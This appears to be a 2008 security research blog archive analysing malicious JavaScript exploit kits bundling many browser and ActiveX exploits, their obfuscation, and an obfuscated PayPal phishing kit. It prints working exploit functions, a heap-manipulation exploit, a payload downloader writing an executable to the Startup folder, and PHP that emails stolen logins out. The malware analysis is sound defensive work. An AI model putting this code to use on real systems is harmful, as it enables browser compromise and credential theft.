Menu:

Showing posts published in October 2008. Show all posts.

18, 25 exploits: who gives more? Oh, and 2 bugs.

Just a couple of weeks ago I was thinking that 17 exploits in one JavaScript attack were many. Well, it isn't so. I've recently stumbled upon a couple of pages that contain 18 and 25 different exploits. The domains that host the pages are, respectively, google-analistyc.net and 85.17.166.230.

if (
   office() ||
   dl() ||
   pdf() ||
   wme() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here are the exploits we haven't already seen:

The second page has 25 exploits:

if (
   mdac() ||
   dl() ||
       flash() ||
   pdf() ||
   wme() ||
   wfi() ||
   com() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   cr1() ||
   cr2() ||
   cr3() ||
   cr4() ||
           creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here, the "new" ones are:

Now, regarding the second part of the title: there seem to be at least two bugs in these exploit codes.

First, the function cr3 instantiates the control 07B18EAB-A523-4961-B6BB-170DE4475CCA and then sets the property ShortFormat. This property doesn't seem to exist. ShortFormat is, instead, the attack vector for the exploit against the Ask Toolbar (included in the cr2 function). It's probably a case of wrong copy-and-paste.

function cr3() {
try {
  var obj = null;
  obj=cobj("{07B18EAB-A523-4961-B6BB-170DE4475CCA}");
  if(obj) {
    ms2();
    arg1 = unescape("\x0c");
    while(arg1.length<0x200) arg1+=unescape("\x0c");
    obj.ShortFormat = arg1;
  }   
} catch(e) {}
return 0;
}

Second, and this is present in both pages, the mdss function gets wrong its memory allocation. In fact, it creates a string (in the buf variable) and doubles its length in a loop that should execute 9999 times. Of course, this doesn't bode well: the machine will likely lock up before the offending process goes out of memory and, finally, gets killed.

function mdss(){
  try {
    var obj=null;
    obj=cobj("{EEE78591-FE22-11D0-8BEF-0060081841DE}");
    if(obj){
      ms();
      var buf = addr(0x0c0c0c0c);
      for (i=1;i<=9999;i++)
      buf += buf;
      EngineID="default";
      ...

Interestingly, the original milw0rm exploit did the right thing:

var buf = unescape("%u4141"); 
while (buf.length <= 261) buf = buf + unescape("%u4141");

Probably, another case of wrong copy-and-paste...


17 exploits and some Feng Shui

It is quite common for malicious JavaScript pages to package more than one exploit together and attempt to run all of them against the victim browser. But, what about 17 different exploits in the same script?

<html><body><script>function v8P6GEVcq(cD5Q2LVDZD9t){
  return String["from"+"Char"+"Code"](cD5Q2LVDZD9t);
}  
function sK5tVpH6uQTNjz(VqiKaGXn){
  var vjHVVi9s=0,EFWwHQWBlb=VqiKaGXn.length,lQMLLno=1024,
    CoZtfIDFYl,LIIVFZwmlhNqxo,W018sXwS="",ykerJQuIiCo=vjHVVi9s,
    gkkYR9OOwch6=vjHVVi9s,qyBlQcNBGEVh0=vjHVVi9s,
    OLcO9M0gn=Array(63,12,30,11,6,32,31,53,34,47,0,0,0,0,0,0,57,50,49,
      17,55,1,43,44,20,5,39,46,58,9,41,59,62,36,29,14,27,15,8,7,4,37,35,
      0,0,0,0,22,0,28,16,19,3,2,40,51,61,42,52,13,33,45,48,10,38,54,
      56,0,26,21,24,60,18,23,25);
  for(LIIVFZwmlhNqxo=Math.ceil(EFWwHQWBlb/lQMLLno);
    LIIVFZwmlhNqxo>vjHVVi9s; LIIVFZwmlhNqxo--) 
  {
    for(eval("CoZtfIDFYl=Ma"+"th.m"+"in(EFWwHQWBlb,lQMLLno)");
      CoZtfIDFYl>vjHVVi9s; CoZtfIDFYl--,EFWwHQWBlb--) 
    {
      qyBlQcNBGEVh0|=(OLcO9M0gn[VqiKaGXn.charCodeAt(ykerJQuIiCo++)-48])<<gkkYR9OOwch6;
      if(gkkYR9OOwch6) {
        W018sXwS+=v8P6GEVcq(149^qyBlQcNBGEVh0&255);
        qyBlQcNBGEVh0>>=8;
        gkkYR9OOwch6-=2;
      } else{
        gkkYR9OOwch6=6;
      }
    }
  }
  return (W018sXwS);
}
var QCDhu="6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@
  ... 
  AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae";
eval(sK5tVpH6uQTNjz(QCDhu));
</script></body></html>

After the initial deobfuscation step (nothing too fancy here, this time), the actual code is available in the clear. Two surprises here. First, as I said, there are 17 exploits:

if (
    mdac() ||
    office() ||
    dl() ||
    pdf() ||
    wfi() ||
    com() ||
    creative() ||
    wks() ||
    ogame() ||
    ca() ||
    buddy() ||
    gomweb() ||
    xmlcore() ||
    quick() ||
    real() ||
    ntaudio()
     || dani()
    ) {}

The exploits are targeting:

  1. MDAC vulnerability (CVE-2006-0003) and similar. The list of affected classids is suspiciously identical to the corresponding milw0rm's exploit.
  2. WebViewFolder setSlice vulnerability (CVE-2006-3730).
  3. CreateControlRange vulnerability (CVE-2005-0055).
  4. DirectAnimation PathControl vulnerability (CVE-2006-4777).
  5. Snapshot Viewer vulnerability (CVE-2008-2463). Thirteen different Windows versions (languages) are supported.
  6. Sina Downloader.DLoader.1 vulnerability (BID-30223).
  7. WksPictureInterface vulnerability (CVE-2008-2898).
  8. Ourgame IEStartNative vulnerability (SA-30469).
  9. CA AddColumn vulnerability (BID-28268).
  10. SuperBuddy LinkSBIcons vulnerability (CVE-2006-5820).
  11. GomPlayer OpenURL vulnerability (CVE-2007-5779).
  12. XMLHTTP setRequestHeader vulnerability (CVE-2006-5745).
  13. QuickTime RTSP vulnerability (CVE-2007-6166).
  14. RealPlayer Console vulnerability (CVE-2008-1309).
  15. NCTAudioFile2 SetFormatLikeSample vulnerability (CVE-2007-0018).
  16. Creative CacheFolder vulnerability (CVE-2008-0955).
  17. collab.CollabEmailInfo vulnerability (CVE-2007-5659 or CVE-2008-0655).

Second, the code doesn't use the usual heap spraying technique, but an adaptation of the Heap Feng Shui technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:

function dani() {
    try{
        obj=cobj("DirectAnimation.PathControl");
        if(obj){
            ms();
            init();
            var jmpecx = 0x0c0c0c0c;
            var vtable = addr(0x7ceb9090);
            for (var i = 0; i < 124/4; i++) 
                vtable += addr(jmpecx);
            vtable += padding.substr(0, (1008-138)/2);
            var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
            var fakeObjChunk = padding.substr(0, 
                (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
            CollectGarbage(); 
            flush();
            for (var i = 0; i < 100; i++)
                alloc_str(vtable);
            alloc_str(vtable, "lookaside");
            free("lookaside");
            for (var i = 0; i < 100; i++)
                alloc(0x2010);
            for (var i = 0; i < 2; i++) {
                alloc_str(fakeObjChunk);
                alloc_str(fakeObjChunk, "freeList");
            }       
            alloc_str(fakeObjChunk);
            free("freeList");
            obj.KeyFrame(0x40000801, new Array(1), new Array(1));
        }
    }catch(e){}
    return 0;
}

In all cases, the binary to be downloaded lives at http://59.125.229.71/ex/7/load.php?id=106 and is well recognized by most anti-virus

Update (10/17/08): The xplo0it Analysis blog also has a nice description of this exploit.


DOM-based obfuscation in malicious JavaScript

A few weeks ago, the good folks of Malware Domain List pointed out an interesting new obfuscation technique being used by some malicious JavaScript samples.

Here's the code of the malicious page (from reddii.ru):

<html><body><input type='text'style='display:none'id='vimamikolu2'
value='kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,
...
166,144,151,161,178,238,254,239,244,237,233,163);'/>
<script>votot=function(str){document.write(str);};
dotemerape7=new String();
lifum=Math.round(-80.131*Math.SQRT1_2-16.601*Math.LOG2E+342.801*Math.LN2);
eval(document.getElementById('vimamikolu2').value);
for(pidum9=0;pidum9<1577;pidum9++)
    dotemerape7+=String.fromCharCode(kekin1[pidum9]^lifum);
votot(dotemerape7);
</script></body></html>

As it's typically done, this code just acts as the decoding routine for the actual exploit code, which is obfuscated. However, in this case, the obfuscated code is stored and dynamically retrieved from the HTML code surrounding the JavaScript code. More precisely, the decoding routine retrieves the value of the attribute value of the HTML element with id vimamikolu2. This string is evaluated via eval: this defines the array kekin1. Then, the code applies String.fromCharCode to each element of the array (xored with a constant value), and writes the result back to the page.

While not particularly difficult to reverse manually, this deobfuscation technique has an important consequence for deobfuscation and analysis tools: they need to have a decent implementation of the DOM model (e.g., understand the getElementById function) in order to automatically get around this kind of tricks. Incidentally, I'm working on one such tool (which handles this sample just fine) and should have something ready (and releasable) soon: check back!

The deobfuscated code reveals the usual exploit for the MDAC vulnerability and a more interesting (and recent) exploit for the Office Snapshot Viewer vulnerability (CVE-2008-2463):

function goMDAC() {
    ...
}
function goPDF() {
    wnd=window;
    while (wnd.parent!=wnd)
        wnd=wnd.parent;
    wnd.location="getfile.php?f=vispdf";
}
function goSnap() {
    var sfrom = 'http://reddii.ru/traffic/sploit1/getexe.php?h=12';
    var sto = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
     +'svchost.exe';
    try {
        snapattack.SnapshotPath = sfrom;
        snapattack.CompressedPath = sto;
        snapattack.PrintSnapshot(sfrom,sto);
    } catch(e) {}
}
setTimeout('goMDAC();',3500);
setTimeout('goPDF();',5000);
goSnap();

Another interesting aspect of this exploit is that it (also) tries to download PDF files. But this is material for another post...


Voting security in the pop culture

It is pretty interesting to see how the pop culture picks up and re-elaborates something you have been working on as a research topic, in this case, the security of electronic voting machines.

And, what's more pop culture than The Onion, The Simpsons, and xkcd (OK, maybe geeky-pop)?

The Onion has covered eletronic voting in several cases. Probably, the funniest one is a breaking news where it is announced that Diebold prematurely leaked the results of the '08 elections.

The Simpsons have a great (leaked) episode where Homer attempts to vote for Obama, but is confronted with "miscalibrations" in the DRE machine he's forced to use...

xkcd came up with a great comic strip to comment on the fact that anti-virus software allegedly caused problems with Premier Election Solutions (formerly, Diebold) voting machines in Ohio.


Obfuscated backdoor or joke?

It is very common to find web-based malware that is protected by one, two, or even three rounds of obfuscation. Obfuscation reduces the chances that anti-malware tools automatically detect the threat and slows down manual analysis.

But, what about 48 (yes, forty-eight!) layers of obfuscation? A phishing kit for PayPal found on the site for PhishTank's entry 502529 contained the following PHP code:

<?   eval(gzinflate(base64_decode('DZdHDsTWEQWv4p1lcMGcYFkCc86ZG2GY
c45zeg9P8NHNrlfv77/+/Ptf5fUZ/qi/7VQNn6P8Yz+2f7b5gNE/ss9eEtg/RZnPRfn
...
iJvAQurlJL/whtxnAqS+mV8XYRnKzb1/GZw/zd/1S/bqWwDFK3AFxPSt1LcQgUJZgdZ
QgCMpxBYIUAVL/+/d/ft9///X3X3/+/X8='))); ?>

After the first deobfuscation, one obtains:

><?   >eval(gzinflate(str_rot13(base64_decode('FZfHDoToEYRfxTevxYGc5
LVK5JwzF4schpyZp/csEhInoPvv+rrqr//++dc/qisb/nW+3UcP2UT9sR/b/7b5gNE/8
...
c8B1Fs0A/FFcVn1mGJmSUb77fTB+wxXDBv/GkFqPBSkm2N+x6LNrGy1a7ro+58z4Lfdm
iWHhsrzATBtN3mhGgyROECAIXj+XgoIggEX/+ee/fte///HXf//86/8=')))); ?><

The same technique (eval composed with gzinflate, str_rot13, and base64_decode) is used in all the remaining layers. After 48 decoding steps, the familiar phish drop/backdooring code is revealed:

<?
include 'write your mail here.txt';
include 'images/header.bmp';
$ladate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$message .= "--------------PayPal  Spam ReZulT-----------------------\n";
$message .= "E-Mail ID          : ".$_POST['login_email']."\n";
$message .= "Password         : ".$_POST['login_password']."\n";
$message .= "ip: $ip\n";
$message .= "Date: $ladate\n";
$message .= "---------------Created BY Dj_Amen@hotmail.fr-----------------------------\n";

$T = "$to,$iks";

$subject = "PayPal ReZuLt "; 
$headers = "From: Amen<steamhacktn@gmail.com>"; 
$headers .= $_POST['eMailAdd']."\n"; 
$headers .= "MIME-Version: 1.0\n"; 

mail($T,$subject,$message,$headers);    
header("Location: Processing.htm");

?>

The iks variable is defined in the header.bmp file and corresponds to the address amen.dj@gmail.com:

<?
$ik = "YW1lbi5kakBnbWFpbC5jb20=";
$iks = base64_decode("$ik");
?>